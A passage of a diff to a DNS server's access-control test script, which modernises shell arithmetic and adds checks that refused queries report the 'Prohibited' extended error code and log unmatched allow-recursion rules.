 grep '^a.normal.example' dig.out.ns2.$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 6 - address disallowed, query refused
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named06.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
@@ -130,12 +149,13 @@ echo_i "test $n: address disallowed - query refused"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 7 - acl allowed, query allowed
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named07.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
@@ -145,10 +165,10 @@ $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret
 grep 'status: NOERROR' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 8 - acl not allowed, query refused
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named08.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
@@ -156,13 +176,14 @@ echo_i "test $n: acl not allowed - query refused"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 
 # Test 9 - acl disallowed, query refused
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named09.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
@@ -170,54 +191,57 @@ echo_i "test $n: acl disallowed - query refused"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 10 - key allowed, query allowed
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named10.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
 echo_i "test $n: key allowed - query allowed"
 ret=0
-$DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 -y one:1234abcd8765 a.normal.example a > dig.out.ns2.$n || ret=1
+$DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 -y "${DEFAULT_HMAC}:one:1234abcd8765" a.normal.example a > dig.out.ns2.$n || ret=1
 grep 'status: NOERROR' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 11 - key not allowed, query refused
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named11.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
 echo_i "test $n: key not allowed - query refused"
 ret=0
-$DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 -y two:1234efgh8765 a.normal.example a > dig.out.ns2.$n || ret=1
+$DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 -y "${DEFAULT_HMAC}:two:1234efgh8765" a.normal.example a > dig.out.ns2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 12 - key disallowed, query refused
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named12.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
 echo_i "test $n: key disallowed - query refused"
 ret=0
-$DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 -y one:1234abcd8765 a.normal.example a > dig.out.ns2.$n || ret=1
+$DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 -y "${DEFAULT_HMAC}:one:1234abcd8765" a.normal.example a > dig.out.ns2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # The next set of tests check if allow-query works in a view
 
 n=20
 # Test 21 - views default, query allowed
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named21.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
@@ -227,10 +251,10 @@ $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret
 grep 'status: NOERROR' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 22 - views explicit any, query allowed
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named22.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
@@ -240,10 +264,10 @@ $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret
 grep 'status: NOERROR' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 23 - views none, query refused
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named23.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
@@ -251,12 +275,13 @@ echo_i "test $n: views none - query refused"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 24 - views address allowed, query allowed
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named24.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
@@ -266,10 +291,10 @@ $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret
 grep 'status: NOERROR' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 25 - views address not allowed, query refused
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named25.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
@@ -277,12 +302,13 @@ echo_i "test $n: views address not allowed - query refused"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 26 - views address disallowed, query refused
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named26.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
@@ -290,12 +316,13 @@ echo_i "test $n: views address disallowed - query refused"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 27 - views acl allowed, query allowed
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named27.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
@@ -305,10 +332,10 @@ $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret
 grep 'status: NOERROR' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 28 - views acl not allowed, query refused
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named28.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
@@ -316,12 +343,13 @@ echo_i "test $n: views acl not allowed - query refused"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 29 - views acl disallowed, query refused
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named29.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
@@ -329,51 +357,54 @@ echo_i "test $n: views acl disallowed - query refused"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 30 - views key allowed, query allowed
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named30.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
 echo_i "test $n: views key allowed - query allowed"
 ret=0
-$DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 -y one:1234abcd8765 a.normal.example a > dig.out.ns2.$n || ret=1
+$DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 -y "${DEFAULT_HMAC}:one:1234abcd8765" a.normal.example a > dig.out.ns2.$n || ret=1
 grep 'status: NOERROR' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 31 - views key not allowed, query refused
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named31.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
 echo_i "test $n: views key not allowed - query refused"
 ret=0
-$DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 -y two:1234efgh8765 a.normal.example a > dig.out.ns2.$n || ret=1
+$DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 -y "${DEFAULT_HMAC}:two:1234efgh8765" a.normal.example a > dig.out.ns2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 32 - views key disallowed, query refused
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named32.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
 echo_i "test $n: views key disallowed - query refused"
 ret=0
-$DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 -y one:1234abcd8765 a.normal.example a > dig.out.ns2.$n || ret=1
+$DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 -y "${DEFAULT_HMAC}:one:1234abcd8765" a.normal.example a > dig.out.ns2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 33 - views over options, views allow, query allowed
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named33.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
@@ -383,10 +414,10 @@ $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret
 grep 'status: NOERROR' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 34 - views over options, views disallow, query refused
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named34.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
@@ -394,16 +425,17 @@ echo_i "test $n: views over options, views disallow - query refused"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Tests for allow-query in the zone statements
 
 n=40
 
 # Test 41 - zone default, query allowed
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named40.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
@@ -413,120 +445,127 @@ $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret
 grep 'status: NOERROR' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 42 - zone explicit any, query allowed
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "test $n: zone explicit any - query allowed"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.any.example a > dig.out.ns2.$n || ret=1
 grep 'status: NOERROR' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.any.example' dig.out.ns2.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 43 - zone none, query refused
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "test $n: zone none - query refused"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.none.example a > dig.out.ns2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.none.example' dig.out.ns2.$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 44 - zone address allowed, query allowed
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "test $n: zone address allowed - query allowed"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.addrallow.example a > dig.out.ns2.$n || ret=1
 grep 'status: NOERROR' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.addrallow.example' dig.out.ns2.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 45 - zone address not allowed, query refused
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "test $n: zone address not allowed - query refused"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.addrnotallow.example a > dig.out.ns2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.addrnotallow.example' dig.out.ns2.$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 46 - zone address disallowed, query refused
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "test $n: zone address disallowed - query refused"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.addrdisallow.example a > dig.out.ns2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.addrdisallow.example' dig.out.ns2.$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 47 - zone acl allowed, query allowed
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "test $n: zone acl allowed - query allowed"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.aclallow.example a > dig.out.ns2.$n || ret=1
 grep 'status: NOERROR' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.aclallow.example' dig.out.ns2.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 48 - zone acl not allowed, query refused
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "test $n: zone acl not allowed - query refused"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.aclnotallow.example a > dig.out.ns2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.aclnotallow.example' dig.out.ns2.$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 49 - zone acl disallowed, query refused
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "test $n: zone acl disallowed - query refused"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.acldisallow.example a > dig.out.ns2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.acldisallow.example' dig.out.ns2.$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 50 - zone key allowed, query allowed
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "test $n: zone key allowed - query allowed"
 ret=0
-$DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 -y one:1234abcd8765 a.keyallow.example a > dig.out.ns2.$n || ret=1
+$DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 -y "${DEFAULT_HMAC}:one:1234abcd8765" a.keyallow.example a > dig.out.ns2.$n || ret=1
 grep 'status: NOERROR' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.keyallow.example' dig.out.ns2.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 51 - zone key not allowed, query refused
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "test $n: zone key not allowed - query refused"
 ret=0
-$DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 -y two:1234efgh8765 a.keyallow.example a > dig.out.ns2.$n || ret=1
+$DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 -y "${DEFAULT_HMAC}:two:1234efgh8765" a.keyallow.example a > dig.out.ns2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.keyallow.example' dig.out.ns2.$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 52 - zone key disallowed, query refused
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "test $n: zone key disallowed - query refused"
 ret=0
-$DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 -y one:1234abcd8765 a.keydisallow.example a > dig.out.ns2.$n || ret=1
+$DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 -y "${DEFAULT_HMAC}:one:1234abcd8765" a.keydisallow.example a > dig.out.ns2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.keydisallow.example' dig.out.ns2.$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 53 - zones over options, zones allow, query allowed
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named53.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
@@ -536,10 +575,10 @@ $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret
 grep 'status: NOERROR' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 54 - zones over options, zones disallow, query refused
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named54.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
@@ -547,12 +586,13 @@ echo_i "test $n: views over options, views disallow - query refused"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 55 - zones over views, zones allow, query allowed
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named55.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
@@ -562,10 +602,10 @@ $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret
 grep 'status: NOERROR' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 56 - zones over views, zones disallow, query refused
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named56.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
@@ -573,12 +613,13 @@ echo_i "test $n: zones over views, views disallow - query refused"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.normal.example a > dig.out.ns2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 57 - zones over views, zones disallow, query refused (allow-query-on)
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns2/named57.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 
@@ -589,34 +630,40 @@ grep 'status: NOERROR' dig.out.ns2.1.$n > /dev/null || ret=1
 grep '^a.normal.example' dig.out.ns2.1.$n > /dev/null || ret=1
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.aclnotallow.example a > dig.out.ns2.2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns2.2.$n > /dev/null || ret=1
 grep '^a.aclnotallow.example' dig.out.ns2.2.$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 58 - allow-recursion default
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "test $n: default allow-recursion configuration"
 ret=0
+nextpart ns3/named.run > /dev/null
 $DIG -p ${PORT} @10.53.0.3 -b 127.0.0.1 a.normal.example a > dig.out.ns3.1.$n
 grep 'status: NOERROR' dig.out.ns3.1.$n > /dev/null || ret=1
 $DIG -p ${PORT} @10.53.0.3 -b 10.53.0.1 a.normal.example a > dig.out.ns3.2.$n
 grep 'status: REFUSED' dig.out.ns3.2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns3.2.$n > /dev/null || ret=1
+nextpart ns3/named.run | grep 'allow-recursion did not match' > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 59 - allow-query-cache default
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "test $n: default allow-query-cache configuration"
 ret=0
 $DIG -p ${PORT} @10.53.0.3 -b 127.0.0.1 ns . > dig.out.ns3.1.$n
 grep 'status: NOERROR' dig.out.ns3.1.$n > /dev/null || ret=1
 $DIG -p ${PORT} @10.53.0.3 -b 10.53.0.1 ns . > dig.out.ns3.2.$n
 grep 'status: REFUSED' dig.out.ns3.2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns3.2.$n > /dev/null || ret=1
+nextpart ns3/named.run | grep 'allow-recursion did not match' > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 60 - block recursion-on, allow query-cache-on
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns3/named2.conf.in ns3/named.conf
 rndc_reload ns3 10.53.0.3
 
@@ -630,11 +677,12 @@ grep 'ANSWER: 1' dig.out.ns3.1.$n > /dev/null || ret=1
 $DIG -p ${PORT} @10.53.0.3 b.normal.example a > dig.out.ns3.2.$n
 grep 'recursion requested but not available' dig.out.ns3.2.$n > /dev/null || ret=1
 grep 'ANSWER: 0' dig.out.ns3.2.$n > /dev/null || ret=1
+nextpart ns3/named.run | grep 'allow-recursion-on did not match' > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 61 - inheritance of allow-query-cache-on from allow-recursion-on
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns3/named3.conf.in ns3/named.conf
 rndc_reload ns3 10.53.0.3
 
@@ -647,6 +695,7 @@ grep 'ANSWER: 1' dig.out.ns3.1.$n > /dev/null || ret=1
 $DIG -p ${PORT} @10.53.1.2 a.normal.example a > dig.out.ns3.2.$n
 grep 'recursion requested but not available' dig.out.ns3.2.$n > /dev/null || ret=1
 grep 'status: REFUSED' dig.out.ns3.2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns3.2.$n > /dev/null || ret=1
 # this should require recursion and should be allowed
 $DIG -p ${PORT} @10.53.0.3 c.normal.example a > dig.out.ns3.3.$n
 grep 'ANSWER: 1' dig.out.ns3.3.$n > /dev/null || ret=1
@@ -654,11 +703,13 @@ grep 'ANSWER: 1' dig.out.ns3.3.$n > /dev/null || ret=1
 $DIG -p ${PORT} @10.53.1.2 d.normal.example a > dig.out.ns3.4.$n
 grep 'recursion requested but not available' dig.out.ns3.4.$n > /dev/null || ret=1
 grep 'status: REFUSED' dig.out.ns3.4.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns3.4.$n > /dev/null || ret=1
+nextpart ns3/named.run | grep 'allow-recursion-on did not match' > /dev/null || ret=1
